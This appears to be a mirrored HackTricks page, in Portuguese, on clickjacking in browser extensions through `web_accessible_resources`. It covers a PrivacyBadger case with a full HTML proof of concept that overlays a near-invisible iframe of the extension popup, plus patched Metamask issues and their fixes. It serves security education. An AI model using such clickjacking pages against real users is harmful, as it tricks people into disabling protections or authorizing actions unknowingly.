mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 20:43:29 +00:00
125 lines
7.4 KiB
Markdown
125 lines
7.4 KiB
Markdown
# BrowExt - ClickJacking
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## Informações Básicas
|
|
|
|
Esta página vai abusar de uma vulnerabilidade de ClickJacking em uma extensão do navegador.\
|
|
Se você não sabe o que é ClickJacking, verifique:
|
|
|
|
{% content-ref url="../clickjacking.md" %}
|
|
[clickjacking.md](../clickjacking.md)
|
|
{% endcontent-ref %}
|
|
|
|
As extensões contêm o arquivo **`manifest.json`** e esse arquivo JSON tem um campo `web_accessible_resources`. Veja o que [a documentação do Chrome](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) diz sobre isso:
|
|
|
|
> Esses recursos estariam disponíveis em uma página da web via o URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, que pode ser gerado com o método **`extension.getURL`**. Recursos permitidos são servidos com cabeçalhos CORS apropriados, então eles estão disponíveis por mecanismos como XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
|
|
|
Os **`web_accessible_resources`** em uma extensão do navegador não são apenas acessíveis via web; eles também operam com os privilégios inerentes da extensão. Isso significa que eles têm a capacidade de:
|
|
|
|
* Alterar o estado da extensão
|
|
* Carregar recursos adicionais
|
|
* Interagir com o navegador até certo ponto
|
|
|
|
No entanto, esse recurso apresenta um risco de segurança. Se um recurso dentro de **`web_accessible_resources`** tiver alguma funcionalidade significativa, um atacante poderia potencialmente incorporar esse recurso em uma página da web externa. Usuários desavisados que visitam essa página podem inadvertidamente ativar esse recurso incorporado. Essa ativação poderia levar a consequências não intencionais, dependendo das permissões e capacidades dos recursos da extensão.
|
|
|
|
## Exemplo do PrivacyBadger
|
|
|
|
Na extensão PrivacyBadger, foi identificada uma vulnerabilidade relacionada ao diretório `skin/` sendo declarado como `web_accessible_resources` da seguinte maneira (Verifique o post original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
|
```json
|
|
"web_accessible_resources": [
|
|
"skin/*",
|
|
"icons/*"
|
|
]
|
|
```
|
|
Esta configuração levou a um problema de segurança potencial. Especificamente, o arquivo `skin/popup.html`, que é renderizado ao interagir com o ícone do PrivacyBadger no navegador, poderia ser incorporado dentro de um `iframe`. Essa incorporação poderia ser explorada para enganar os usuários a clicar inadvertidamente em "Desativar o PrivacyBadger para este site". Tal ação comprometeria a privacidade do usuário ao desativar a proteção do PrivacyBadger e potencialmente expor o usuário a um rastreamento aumentado. Uma demonstração visual desse exploit pode ser vista em um exemplo de vídeo de ClickJacking fornecido em [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
|
|
|
|
Para resolver essa vulnerabilidade, foi implementada uma solução direta: a remoção de `/skin/*` da lista de `web_accessible_resources`. Essa alteração mitigou efetivamente o risco, garantindo que o conteúdo do diretório `skin/` não pudesse ser acessado ou manipulado por meio de recursos acessíveis pela web.
|
|
|
|
A correção foi simples: **remover `/skin/*` dos `web_accessible_resources**`.
|
|
|
|
### PoC
|
|
```html
|
|
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
|
|
|
<style>
|
|
iframe {
|
|
width: 430px;
|
|
height: 300px;
|
|
opacity: 0.01;
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
#stuff {
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
button {
|
|
float: top;
|
|
position: absolute;
|
|
top: 168px;
|
|
left: 100px;
|
|
}
|
|
|
|
</style>
|
|
|
|
<div id="stuff">
|
|
<h1>
|
|
Click the button
|
|
</h1>
|
|
<button id="button">
|
|
click me
|
|
</button>
|
|
</div>
|
|
|
|
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
|
</iframe>
|
|
```
|
|
## Exemplo do Metamask
|
|
|
|
Um [**post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Neste caso, o Metamask corrigiu a vulnerabilidade verificando se o protocolo usado para acessá-lo era **`https:`** ou **`http:`** (não **`chrome:`** por exemplo):
|
|
|
|
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para autorizar** quando uma página estava suspeita de ser phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável ao Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar para autorizar sem perceber, e depois voltar para a página de phishing que seria autorizada.
|
|
|
|
## Exemplo do Steam Inventory Helper
|
|
|
|
Verifique a seguinte página para ver como um **XSS** em uma extensão do navegador foi encadeado com uma vulnerabilidade de **ClickJacking**:
|
|
|
|
{% content-ref url="browext-xss-example.md" %}
|
|
[browext-xss-example.md](browext-xss-example.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referências
|
|
|
|
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
|
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|